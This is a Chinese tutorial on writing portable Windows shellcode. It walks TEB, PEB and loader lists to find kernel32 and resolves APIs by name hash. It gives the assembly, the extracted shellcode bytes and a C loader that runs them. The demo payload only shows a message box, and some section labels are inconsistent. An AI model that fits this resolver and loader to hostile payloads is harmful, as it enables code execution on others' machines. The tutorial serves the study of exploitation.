通用shellcode编写动态定位API
背景:
如果编写的 ShellCode 采用了硬编址的方式来调用相应的API函数,这会存在操作系统的版本不一样,调用函数在内存中的地址不同而出现失败的现象。如下图在win10中就不能正常运行
这时需要通过编写一些定位程序,让 ShellCode 能够动态定位所需要的API函数地址,从中解决ShellCode 的通用性问题。
1.上述弹窗程序中最重要的函数MessageBox,它是位于 User32.dll 这个动态链接库里,默认情况下是无法直接调用的,为了能够调用它,就需要调用 LoadLibraryA 函数来加载User32.dll模块,而 LoadLibraryA 又位于 kernel32.dll 链接库中。
有这么一个信息,就是所有的win_32程序都会加载ntdll.dll和kerner32.dll这两个最基础的动态链接库。所以只要找到 LoadLibraryA 函数,就能加载动态链接库,并调用其它的函数。
在win_32平台下定位kernel32.dll动态链接库中的API函数地址,有如下公式:
(1).首先通过段选择字FS在内存中找到当前的线程环境快TEB。
(2).TEB线程环境快偏移位置为0x30的地方存放着指向进程环境块PEB的指针。
(3).进程环境块PEB中偏移位置为0x0C的地方存放着指向PEB_LDR_DATA结构体的指针,其中,存放着已经被进程装载的动态链接库的信息。
(4).PEB_LDR_DATA结构体偏移位置为0x1C的地方存放着指向模块初始化链表的头指针InInitizationOrderModuleList.
(5).模块初始化链表InInitizationOrderModuleList中按顺序存放着PE装入运行时初始化模块信息,第一个链表结点是ntdll.dll,第二个链表结点就是kernel32.dll。
(6).找到属于kernel32.dll的结点后,在其基础上再偏移0x08就是kernel32.dll在内存中的加载基地址。
(7).从kernel32.dll的加载基址算起,偏移0x3C的地方就是其PE头。
(8).PE头偏移0x78的地方存放着指向函数导出表的指针。
(9).导出表0x1C处的指针指向存储导出函数偏移地址(RVA)的列表
导出表偏移0x20处的指针指向存储导出函数函数名的列表
函数的RVA地址和名字按照顺序存放在上述两个列表中,可以在名称列表中定位到所需的函数是第几个,然后在地址列表中找到对应的RVA
获得RVA后,再加上前面已经得到的动态链接库的加载基址,就获得了所需API此刻在内存中的虚拟地址。如下图:
(2) 按【Ctrl + S】
选择要加载的符号文件,否则无法进行查看
(3) 通过段选择字FS在内存中找到当前的线程环境快TEB,输入命令!teb
(4) 在TEB线程环境快偏移位置为0x30的地方存放着指向进程环境块PEB的指针
(5) 进程环境块PEB中偏移位置为0x0C的地方存放着指向PEB_LDR_DATA结构体的指针,其中,存放着已经被进程装载的动态链接库的信息。
(6) PEB_LDR_DATA结构体偏移位置为0x1C的地方存放着指向模块初始化链表的头指针InInitizationOrderModuleList.
(7) 在模块初始化链表InInitizationOrderModuleList中按顺序存放着PE装入运行时初始化模块信息,第一个链表结点是ntdll.dll
地址0x00191f28保存第一个链表结点的指针,解析这个链表结点,
(8) 找到属于kernel32.dll的结点后,在其基础上再偏移0x08就是kernel32.dll在内存中的加载的基地址。
3.查找kernel32.dll 的导出表及函数API
(1)打开win32下的kernel32.dll文件,偏移 0x3c 的地方就是PE头
导出表的RVA地址是0x0000262C;那么它的文件OFFSET是多少?
在LordPE先查看各个段的RVA和OFFSET:
显然,导出表在.text区段
.data区段的RVA为0x1000,.data区段的起始Offset是0x400
RVA到Offset的转化:
Offset = 导出表RVA - 导出表所在区段的RVA + 导出表所在区段的 Offset
即:Offset=0x0262C – 0x1000 + 0x400= 0x1a2c
在PE文件中文件偏移0x1a2c为导出表结构,一个导出表大小是 0x28个字节
(3) 在导出表0x1C处的指针,指向存储导出函数偏移地址(RVA)的列表
导出表偏移0x20处的指针,指向存储导出函数函数名的列表
如下图是导出表的数据结构
如下图,在导出函数偏移地址(RVA)的列表,第一个函数在文件中的位置
第一个导出函数在内存中的虚拟内存地址(VA)0X7C80A6E4=基地址0X7C800000 +相对虚拟地址(RVA)0X0000A6E4
(4)函数的RVA地址和名字按照顺序存放在上述两个列表中,可以在名称列表中定位到所需的函数是第几个,然后在地址列表中找到对应的RVA
4.shellcode 要尽可能的短小精悍,才能被大多数缓冲区容纳,这样就需要对函数名字进行 hash 处理。
在系统中搜索要使用的函数,将函数名从导出函数名表中取出进行hash运算,然后与栈中事先要搜索的函数名hash值作比较,这样就能够判定目标函数是不是要查找的函数。
(1)下面是计算三个函数的hash值:
#include
#include
DWORD GetHash(char *fun_name){
DWORD digest = 0;
while(*fun_name){
digest = ((digest << 25) | (digest >> 7));
digest += *fun_name;
fun_name++;
}
return digest;
}
int main(){
DWORD hash;
hash = GetHash("MessageBoxA");
printf("The hash of MessageBoxA is 0x%.8x\n", hash);
hash = GetHash("ExitProcess");
printf("The hash of ExitProcess is 0x%.8x\n", hash);
hash = GetHash("LoadLibraryA");
printf("The hash of LoadLibraryA is 0x%.8x\n", hash);
getchar();
return 0;
}
(2)综合上述,使用汇编写出一个弹窗代码
_asm
{ // 将要调用的函数hash值入栈保存
CLD // 清空标志位DF
push 0x1e380a6a // 压入 MessageBoxA 字符串的hash
push 0x4fd18963 // 压入 ExitProcess 字符串的hash
push 0x0c917432 // 压入 LoadLibraryA 字符串的hash
mov esi, esp // 指向栈中存放LoadLibraryA的 hash 地址
lea edi, [esi - 0xc] // 用于存放后边找到的 三个函数地址
// 开辟0x400大小的栈空间
xor ebx, ebx
mov bh, 0x04
sub esp, ebx
// 将user32.dll入栈
mov bx, 0x3233
push ebx // 压入字符'32'
push 0x72657375 // 压入字符 'user'
push esp
xor edx, edx
// 查找 kernel32.dll 的基地址
mov ebx, fs:[edx + 0x30] // FS得到当前线程环境块TEB TEB+0x30 是进程环境块 PEB
mov ecx, [ebx + 0x0c] // PEB+0x0c 是PEB_LDR_DATA结构体指针 存放这已经被进程加载的动态链接库的信息
mov ecx, [ecx + 0x1c] // PEB_LDR_DATA+0x1c 指向模块初始化链表的头指针 InInitalizationOrderModuleList
mov ecx, [ecx] // 进入链表第一个就是ntdll.dll
mov ebp, [ecx + 0x08] // ebp 即kernel32.dll基地址
// 与 hash 的查找相关
find_lib_funcs :
lodsd // 将[esi]中的4字节 传到eax中
cmp eax, 0x1e380a6a // 比较 MessageBoxA 字符串的hash值
jne find_funcs // 如果不相等则继续查找
xchg eax, ebp // 记录当前hash值
call[edi - 0x8]
xchg eax, ebp // 还原当前hash值 并且把exa基地址更新为 user32.dll的基地址
// 在PE文件中查找相应的API函数
find_funcs :
pushad // 保存寄存器环境
mov eax, [ebp + 0x3c] // 指向PE头
mov ecx, [ebp + eax + 0x78] // 得到导出表的指针
add ecx, ebp // 得到导出函数表内存虚拟地址(VA)
mov ebx, [ecx + 0x20] // 得到导出函数名称表(RVA)
add ebx, ebp // 得到导出函数名称表内存虚拟地址(VA)
xor edi, edi // 初始化计数器
// 循环读取导出表函数
next_func_loop :
inc edi // 函数计数器+1
mov esi, [ebx + edi * 4] // 得到 当前函数名的地址(RVA)
add esi, ebp // 得到 当前函数名的内存虚拟地址(VA)
cdq;
// 计算hash值
hash_loop: // 循环得到当前函数名的hash
movsx eax, byte ptr[esi] // 得到当前函数名称 第esi的一个字母
cmp al, ah // 比较到达函数名最后的0没有
jz compare_hash // 函数名hash 计算完毕后跳到 下一个流程
ror edx, 7 // 循环右移7位
add edx, eax // 累加得到hash
inc esi // 计数+1 得到函数名的下一个字母
jmp hash_loop // 循环跳到 hash_loop
// hash值的比较
compare_hash :
cmp edx, [esp + 0x1c] // 比较 目标函数名hash 和 当前函数名的hash
jnz next_func_loop // 如果 不等于 继续下一个函数名
mov ebx, [ecx + 0x24] // 得到 PE导出表中的 函数序号列表的 相对位置
add ebx, ebp // 得到 PE导出表中的 函数序号列表的 绝对位置
mov di, [ebx + 2 * edi] // 得到 PE导出表中的 当前函数的序号
mov ebx, [ecx + 0x1c] // 得到 PE导出表中的 函数地址列表的 相对位置
add ebx, ebp // 得到 PE导出表中的 函数地址列表的 绝对位置
add ebp, [ebx + 4 * edi] // 得到 PE导出表中的 当前函数的绝对地址
// 循环依次得到kernel32.dll中的 LoadLibraryA ExitProcess
// 和user32.dll中的 MessageBoxA
xchg eax, ebp // 把函数地址放入eax中
pop edi // pushad中最后一个压入的是edi 正好是开始预留 用于存放的三个函数地址 的栈空间
stosd // 把找到函数地址出入 edi对应的栈空间
push edi // 继续压栈 平衡栈
popad // 还原环境
cmp eax, 0x1e380a6a // 比较是否是 MessageBoxA 函数 如果是说明全部函数已经找齐 可以调用函数执行功能
jne find_lib_funcs
// 下方的代码,就是弹窗
func_call :
xor ebx,ebx // 将 ebx 清0
push ebx
push 0x20343332 // 注意数据大小端问题
push 0x3170646D // 标题“mdp1234”
mov eax,esp // 把标题赋值给 eax
push ebx
push 0x2020206f // 再push一个hello当做内容
push 0x6c6c6568 // push的时候不够了要用0x20填充为空
mov ecx,esp // 把内容 hello 赋值给 ecx
// 下面就是将MessageBox的参数压栈
push ebx // messageBox 第四个参数
push eax // messageBox 第三个参数
push ecx // messageBox 第二个参数
push ebx // messageBox 第一个参数
call[edi - 0x04] // 调用 MessageBoxA
push ebx
call[edi - 0x08] // 调用 ExitProcess
nop
nop
nop
nop
}
5.编译生成可执行文件以后,使用OD打开,提取出 ShellCode 的机器码
编写代码执行提取出来的shellcode
#include
#include
unsigned char shellcode[] =
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63"
"\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7"
"\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2"
"\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD"
"\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C"
"\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34"
"\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0"
"\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B"
"\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D"
"\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x32\x33\x34\x20\x68\x6D"
"\x64\x70\x31\x8B\xC4\x53\x68\x6F"
"\x20\x20\x20\x68\x68\x65\x6C\x6C"
"\x8B\xCC\x53\x50\x51\x53\xFF\x57"
"\xFC\x53\xFF\x57\xF8";
int main()
{
((void(*)(void))&shellcode)();
return 0;
}
6.调试执行shellcode的通用性
在windows xp下运行
在windows 10 下运行